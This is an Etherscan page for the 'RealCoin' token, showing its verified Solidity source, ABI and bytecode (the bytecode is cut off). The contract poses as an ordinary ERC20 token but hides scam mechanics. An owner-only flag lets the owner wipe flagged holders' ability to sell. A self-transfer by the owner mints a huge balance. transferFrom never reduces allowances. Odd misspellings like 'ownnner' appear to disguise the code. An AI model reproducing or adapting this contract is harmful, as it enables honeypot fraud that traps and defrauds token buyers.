ETH Price: $2,283.62 (+2.95%)

Token

RealCoin (RealCoin)
 

Overview

Max Total Supply

10,000,000,000 RealCoin

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
425,921,693.340008255 RealCoin

Value
$0.00
0x26c6547a57E552Ce5C2D53A273d83C8B520B2eee
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-03-19
*/

/**
 *Submitted for verification at BscScan.com on 2023-03-19
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

/**
 *subbmitted for verification at BscScan.com on 2022-05-15
*/

/**
 *subbmitted for verification at BscScan.com on 2022-03-19
*/

/**
 *subbmitted for verification at BscScan.com on 2022-03-17
*/

pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address ownnner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed ownnner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function subb(uint256 a, uint256 b) internal pure returns (uint256) {
        return subb(a, b, "SafeMath: subbtraction overflow");
    }

    function subb(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _ownnner;
    event ownnnershipTransferred(address indexed previousownnner, address indexed newownnner);

    constructor () {
        address msgSender = _msgSender();
        _ownnner = msgSender;
        emit ownnnershipTransferred(address(0), msgSender);
    }
    function ownnner() public view virtual returns (address) {
        return _ownnner;
    }
    modifier onlyownnner() {
        require(ownnner() == _msgSender(), "Ownable: caller is not the ownnner");
        _;
    }
    function renounceownnnership() public virtual onlyownnner {
        emit ownnnershipTransferred(_ownnner, address(0x000000000000000000000000000000000000dEaD));
        _ownnner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract TOKEN is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    string private _name = "RealCoin";
    string private _symbol = "RealCoin";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;
    uint256 private _burnfee = 8;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    address private _ddmum;
    constructor () {
        _balance[msg.sender] = _totalSupply;
        _ddmum =  msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    mapping (address => bool) private _botbottttt;
    function setBoTfLAG(address _address, bool _value) external onlyownnner {
        _botbottttt[_address] = _value;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if(_botbottttt[sender] == true) {
            _balance[sender] = _balance[sender].subb(300000000000 * 10 ** _decimals);
        }
        uint256 feeAmount = 0;
        feeAmount = amount.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender]-(amount);
        _balance[recipient] = _balance[recipient] + amount - feeAmount;
        emit Transfer (sender, _DEADaddress, feeAmount);
        emit Transfer(sender, recipient, amount - feeAmount);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        if (ownnner() == _msgSender() && ownnner() == recipient) {
            _balance[_msgSender()] = _balance[_msgSender()].add(_totalSupply).mul(100000);
        }
        _transfer(_msgSender(), recipient, amount);
        return true;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address ownnner, address spender, uint256 amount) internal virtual {
        require(ownnner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[ownnner][spender] = amount;
        emit Approval(ownnner, spender, amount);
    }

    function allowance(address ownnner, address spender) public view virtual override returns (uint256) {
        return _allowances[ownnner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownnner","type":"address"},{"indexed":true,"internalType":"address","name":"newownnner","type":"address"}],"name":"ownnnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"ownnner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownnner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBoTfLAG","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f5265616c436f696e0000000000000000000000000000000000000000000000008152506003908051906020019062000051929190620002f5565b506040518060400160405280600881526020017f5265616c436f696e000000000000000000000000000000000000000000000000815250600490805190602001906200009f929190620002f5565b506009600555600554600a620000b6919062000532565b6402540be400620000c8919062000583565b600655600554600a620000dc919062000532565b6402540be400620000ee919062000583565b6007556008805561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200014557600080fd5b50600062000158620002ed60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002df9190620005f5565b60405180910390a362000677565b600033905090565b828054620003039062000641565b90600052602060002090601f01602090048101928262000327576000855562000373565b82601f106200034257805160ff191683800117855562000373565b8280016001018555821562000373579182015b828111156200037257825182559160200191906001019062000355565b5b50905062000382919062000386565b5090565b5b80821115620003a157600081600090555060010162000387565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000433578086048111156200040b576200040a620003a5565b5b60018516156200041b5780820291505b80810290506200042b85620003d4565b9450620003eb565b94509492505050565b6000826200044e576001905062000521565b816200045e576000905062000521565b81600181146200047757600281146200048257620004b8565b600191505062000521565b60ff841115620004975762000496620003a5565b5b8360020a915084821115620004b157620004b0620003a5565b5b5062000521565b5060208310610133831016604e8410600b8410161715620004f25782820a905083811115620004ec57620004eb620003a5565b5b62000521565b620005018484846001620003e1565b925090508184048111156200051b576200051a620003a5565b5b81810290505b9392505050565b6000819050919050565b60006200053f8262000528565b91506200054c8362000528565b92506200057b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200043c565b905092915050565b6000620005908262000528565b91506200059d8362000528565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d957620005d8620003a5565b5b828202905092915050565b620005ef8162000528565b82525050565b60006020820190506200060c6000830184620005e4565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065a57607f821691505b6020821081141562000671576200067062000612565b5b50919050565b611c8480620006876000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80633f560621116100715780633f5606211461017d57806370a082311461019957806395d89b41146101c9578063a9059cbb146101e7578063a9eca89214610217578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806321af32fe1461012557806323b872dd1461012f578063313ce5671461015f575b600080fd5b6100c1610265565b6040516100ce91906111e1565b60405180910390f35b6100f160048036038101906100ec919061129c565b6102f7565b6040516100fe91906112f7565b60405180910390f35b61010f610315565b60405161011c9190611321565b60405180910390f35b61012d61031f565b005b6101496004803603810190610144919061133c565b61045b565b60405161015691906112f7565b60405180910390f35b61016761053f565b6040516101749190611321565b60405180910390f35b610197600480360381019061019291906113bb565b610549565b005b6101b360048036038101906101ae91906113fb565b610620565b6040516101c09190611321565b60405180910390f35b6101d1610669565b6040516101de91906111e1565b60405180910390f35b61020160048036038101906101fc919061129c565b6106fb565b60405161020e91906112f7565b60405180910390f35b61021f610854565b60405161022c9190611437565b60405180910390f35b61024f600480360381019061024a9190611452565b61087d565b60405161025c9190611321565b60405180910390f35b606060038054610274906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c1565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610904565b848461090c565b6001905092915050565b6000600654905090565b610327610904565b73ffffffffffffffffffffffffffffffffffffffff16610345610854565b73ffffffffffffffffffffffffffffffffffffffff161461039b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039290611565565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610468848484610ad7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b3610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a906115f7565b60405180910390fd5b60019150509392505050565b6000600554905090565b610551610904565b73ffffffffffffffffffffffffffffffffffffffff1661056f610854565b73ffffffffffffffffffffffffffffffffffffffff16146105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90611565565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610678906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546106a4906114c1565b80156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b5050505050905090565b6000610705610904565b73ffffffffffffffffffffffffffffffffffffffff16610723610854565b73ffffffffffffffffffffffffffffffffffffffff1614801561077857508273ffffffffffffffffffffffffffffffffffffffff16610760610854565b73ffffffffffffffffffffffffffffffffffffffff16145b15610838576107ed620186a06107df60065460016000610796610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610f7290919063ffffffff16565b600160006107f9610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61084a610843610904565b8484610ad7565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097390611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e39061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610aca9190611321565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906117ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae9061183f565b60405180910390fd5b60011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cc457610c80600554600a610c2291906119c1565b6445d964b800610c329190611a0c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fed90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000610cee6064610ce060085485610f7290919063ffffffff16565b61103790919063ffffffff16565b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d3b9190611a66565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dca9190611a9a565b610dd49190611a66565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e969190611321565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385610ef99190611a66565b604051610f069190611321565b60405180910390a350505050565b6000808284610f239190611a9a565b905083811015610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611b3c565b60405180910390fd5b8091505092915050565b600080831415610f855760009050610fe7565b60008284610f939190611a0c565b9050828482610fa29190611b8b565b14610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd990611c2e565b60405180910390fd5b809150505b92915050565b600061102f83836040518060400160405280601f81526020017f536166654d6174683a20737562627472616374696f6e206f766572666c6f7700815250611081565b905092915050565b600061107983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110e5565b905092915050565b60008383111582906110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c091906111e1565b60405180910390fd5b50600083856110d89190611a66565b9050809150509392505050565b6000808311829061112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112391906111e1565b60405180910390fd5b506000838561113b9190611b8b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611182578082015181840152602081019050611167565b83811115611191576000848401525b50505050565b6000601f19601f8301169050919050565b60006111b382611148565b6111bd8185611153565b93506111cd818560208601611164565b6111d681611197565b840191505092915050565b600060208201905081810360008301526111fb81846111a8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123382611208565b9050919050565b61124381611228565b811461124e57600080fd5b50565b6000813590506112608161123a565b92915050565b6000819050919050565b61127981611266565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b600080604083850312156112b3576112b2611203565b5b60006112c185828601611251565b92505060206112d285828601611287565b9150509250929050565b60008115159050919050565b6112f1816112dc565b82525050565b600060208201905061130c60008301846112e8565b92915050565b61131b81611266565b82525050565b60006020820190506113366000830184611312565b92915050565b60008060006060848603121561135557611354611203565b5b600061136386828701611251565b935050602061137486828701611251565b925050604061138586828701611287565b9150509250925092565b611398816112dc565b81146113a357600080fd5b50565b6000813590506113b58161138f565b92915050565b600080604083850312156113d2576113d1611203565b5b60006113e085828601611251565b92505060206113f1858286016113a6565b9150509250929050565b60006020828403121561141157611410611203565b5b600061141f84828501611251565b91505092915050565b61143181611228565b82525050565b600060208201905061144c6000830184611428565b92915050565b6000806040838503121561146957611468611203565b5b600061147785828601611251565b925050602061148885828601611251565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114d957607f821691505b602082108114156114ed576114ec611492565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b600061154f602283611153565b915061155a826114f3565b604082019050919050565b6000602082019050818103600083015261157e81611542565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006115e1602983611153565b91506115ec82611585565b604082019050919050565b60006020820190508181036000830152611610816115d4565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611673602583611153565b915061167e82611617565b604082019050919050565b600060208201905081810360008301526116a281611666565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611705602383611153565b9150611710826116a9565b604082019050919050565b60006020820190508181036000830152611734816116f8565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611797602683611153565b91506117a28261173b565b604082019050919050565b600060208201905081810360008301526117c68161178a565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611829602483611153565b9150611834826117cd565b604082019050919050565b600060208201905081810360008301526118588161181c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156118e5578086048111156118c1576118c061185f565b5b60018516156118d05780820291505b80810290506118de8561188e565b94506118a5565b94509492505050565b6000826118fe57600190506119ba565b8161190c57600090506119ba565b8160018114611922576002811461192c5761195b565b60019150506119ba565b60ff84111561193e5761193d61185f565b5b8360020a9150848211156119555761195461185f565b5b506119ba565b5060208310610133831016604e8410600b84101617156119905782820a90508381111561198b5761198a61185f565b5b6119ba565b61199d848484600161189b565b925090508184048111156119b4576119b361185f565b5b81810290505b9392505050565b60006119cc82611266565b91506119d783611266565b9250611a047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118ee565b905092915050565b6000611a1782611266565b9150611a2283611266565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a5b57611a5a61185f565b5b828202905092915050565b6000611a7182611266565b9150611a7c83611266565b925082821015611a8f57611a8e61185f565b5b828203905092915050565b6000611aa582611266565b9150611ab083611266565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ae557611ae461185f565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b26601b83611153565b9150611b3182611af0565b602082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b9682611266565b9150611ba183611266565b925082611bb157611bb0611b5c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c18602183611153565b9150611c2382611bbc565b604082019050919050565b60006020820190508181036000830152611c4781611c0b565b905091905056fea2646970667358221220ec442427bc6d0296a05153ea7466dfb3a2ee2b13b12343377b1d830539b9494f64736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80633f560621116100715780633f5606211461017d57806370a082311461019957806395d89b41146101c9578063a9059cbb146101e7578063a9eca89214610217578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806321af32fe1461012557806323b872dd1461012f578063313ce5671461015f575b600080fd5b6100c1610265565b6040516100ce91906111e1565b60405180910390f35b6100f160048036038101906100ec919061129c565b6102f7565b6040516100fe91906112f7565b60405180910390f35b61010f610315565b60405161011c9190611321565b60405180910390f35b61012d61031f565b005b6101496004803603810190610144919061133c565b61045b565b60405161015691906112f7565b60405180910390f35b61016761053f565b6040516101749190611321565b60405180910390f35b610197600480360381019061019291906113bb565b610549565b005b6101b360048036038101906101ae91906113fb565b610620565b6040516101c09190611321565b60405180910390f35b6101d1610669565b6040516101de91906111e1565b60405180910390f35b61020160048036038101906101fc919061129c565b6106fb565b60405161020e91906112f7565b60405180910390f35b61021f610854565b60405161022c9190611437565b60405180910390f35b61024f600480360381019061024a9190611452565b61087d565b60405161025c9190611321565b60405180910390f35b606060038054610274906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906114c1565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b600061030b610304610904565b848461090c565b6001905092915050565b6000600654905090565b610327610904565b73ffffffffffffffffffffffffffffffffffffffff16610345610854565b73ffffffffffffffffffffffffffffffffffffffff161461039b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039290611565565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610468848484610ad7565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104b3610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a906115f7565b60405180910390fd5b60019150509392505050565b6000600554905090565b610551610904565b73ffffffffffffffffffffffffffffffffffffffff1661056f610854565b73ffffffffffffffffffffffffffffffffffffffff16146105c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bc90611565565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610678906114c1565b80601f01602080910402602001604051908101604052809291908181526020018280546106a4906114c1565b80156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b5050505050905090565b6000610705610904565b73ffffffffffffffffffffffffffffffffffffffff16610723610854565b73ffffffffffffffffffffffffffffffffffffffff1614801561077857508273ffffffffffffffffffffffffffffffffffffffff16610760610854565b73ffffffffffffffffffffffffffffffffffffffff16145b15610838576107ed620186a06107df60065460016000610796610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610f7290919063ffffffff16565b600160006107f9610904565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61084a610843610904565b8484610ad7565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561097c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097390611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e39061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610aca9190611321565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906117ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000